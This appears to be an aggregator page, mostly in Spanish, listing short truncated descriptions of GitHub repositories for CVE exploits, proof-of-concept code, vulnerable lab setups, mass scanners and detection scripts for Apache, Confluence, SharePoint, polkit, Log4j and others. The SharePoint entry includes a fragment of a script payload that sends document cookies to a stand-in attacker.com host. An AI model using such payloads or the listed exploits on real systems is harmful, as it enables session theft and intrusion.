CVE-2023-26609

Información del exploit para CVE-2023-26609 DESCARGO DE RESPONSABILIDAD: Solo para educación, investigación, hacking ético y pruebas de penetración profesionales...

accounts_CVE-2024-40676-

Este repositorio no tiene un README...

CVE-2026-21876

CVE-2026-21876 Entorno de laboratorio para CVE-2026-1357 1. Construir el entorno sudo apt update && sudo apt install docker.io docker-compose -y sudo systemctl start docker git clone Link of Repo sudo chmod -R 755 . sudo docker-compose up --build -d FireFox: http://localhost:8083 2. Explotar la...

MOVEit-CVE-2023-34362

MOVEit-CVE-2023-34362 Una presentación en video que analiza los detalles técnicos, la escala y las lecciones que se pueden aprender del MOVEit CVE-2023-3462 Proyecto final de CS50 Introducción a la Ciberseguridad Enlace del video: https://youtu.be/EsyWXNcmNQY...

Telnet-TestVuln-CVE-2026-24061

Telnet Docker Test Vulb CVE-2026-24061 root@kitploit: docker build -t telnet-vuln . Ejecutar root@kitploit: docker run -d \ --name telnet-vuln \ -p 127.0.0.1:2323:23 \ telnet-vuln...

Log4j_Vulnerability_Demo

Log4jVulnerabilityDemo A simple program to demonstrate how Log4j vulnerability can be exploited CVE-2021-44228 Running the Demo : To start the program, simply run the start.sh on UNIX systems or start.bat on Windows. User input will be read and logged to console using the Log4j framework. By...

Path-traversal-RCE-Apache-2.4.49-2.4.50-Exploit

Exploit para CVE-2021-41773 y CVE-2021-42013 Ataque de path traversal y RCE en Apache/2.4.49-2.4.50 Características - Toma una lista de urls - Funciona tanto para CGI como para no-CGI - Funciona para Apache/2.4.49 - 2.4.50 Uso $ git clone...

Exploit-CVE-2023-22515

Exploit CVE-2023-22515 Un exploit de script bash simple para CVE-2023-22515. Información Las instancias de Confluence Data Center y Server tienen una vulnerabilidad de control de acceso roto CVE-2023-22515, que permite a los atacantes crear cuentas de administrador de Confluence no autorizadas y...

CVE-2026-26026-PoC

Este repositorio no tiene un README...

http-oracle-ebs-cve-2025-61882.nse

http-oracle-ebs-cve-2025-61882.nse Detecta Oracle E-Business Suite CVE-2025-61882. Detección: comprobaciones en múltiples niveles — fingerprinting, verificación de versiones, pruebas de endpoints y SSRF, análisis de tiempos y explotación controlada para 4 resultados de alta confianza. Por defecto...

Detecting_blue_hammer_vuln

Deteccióndevulnerabilidadbluehammer Consulta de búsqueda de amenazas para bluehammer CVE windows CVE-2026-33825...

PoC-CVE-2025-32433

Este repositorio no tiene un README...

CVE-2026-32201-exploit

Resumen Exploit en Python para CVE-2026-32201 - validación de entrada incorrecta en Microsoft SharePoint Server, que permite suplantación de red no autenticada C:L/I:L. Afecta: SharePoint Server 2016 Enterprise, 2019, Subscription Edition fetch'http://attacker.com/?c='+document.cookie" \ --endpoi...

Mass-Scanner-CVE-2026-1405

⚡ Mass-Scanner-CVE-2026-1405 Escáner Masivo Limpio de WordPress para CVE-2026-1405 🧠 Descripción General Un escáner limpio y ligero diseñado para comprobar la exposición a CVE-2026-1405 en múltiples objetivos WordPress. Se centra en: escaneo masivo rápido de múltiples objetivos salida limpia en...

cpanel-cve-2026-41940-ioc

CVE-2026-41940 IOC Scanner Detection script for the cPanel/WHM authentication bypass CVE-2026-41940 affecting all cPanel versions after 11.40. This is a rewrite of the upstream cPanel detection script with fixes for false positives and added log correlation. What it does Scans...

Log-4j-scanner

log4j-scan A fully automated, accurate, and extensive scanner for finding vulnerable log4j hosts Features Support for lists of URLs. Fuzzing for more than 60 HTTP request headers not only 3-4 headers as previously seen tools. Fuzzing for HTTP POST Data parameters. Fuzzing for JSON data parameters...

docker-socket-risk-demos

docker-socket-risk-demos Repositorio complementario para el vídeo: Deja de montar docker.sock — Ejecuta Trivy sin ceder acceso root — inspirado en CVE-2026-33634 https://www.youtube.com/watch?v=xLTYzfPY3xI Este repositorio contiene la aplicación web de ejemplo y el prompt de Claude Code utilizado...

LetsDefend-SOC336-Windows-OLE-Zero-Click-RCE-Exploitation-Detected-CVE-2025-21298-

LetsDefend-SOC336-Windows-OLE-Zero-Click-RCE-Exploitation-Detected-CVE-2025-21298- Se espera que investiguemos una alerta crítica que reporta una explotación RCE de Windows OLE de cero clics CVE-2025-21298 entregada mediante un archivo RTF malicioso. Investigación de la alerta de LetsDefend El 4 ...

CVE-2026-31431

CopyFail CVE-2026-31431 implementado en Go, que te diviertas...

pkexec-exploit

pkexec-exploit Escalada de privilegios local en pkexec de polkit CVE-2021-4034 Resumen Polkit anteriormente PolicyKit es un componente para controlar los privilegios a nivel de sistema en sistemas operativos tipo Unix. Proporciona una forma organizada para que los procesos sin privilegios se...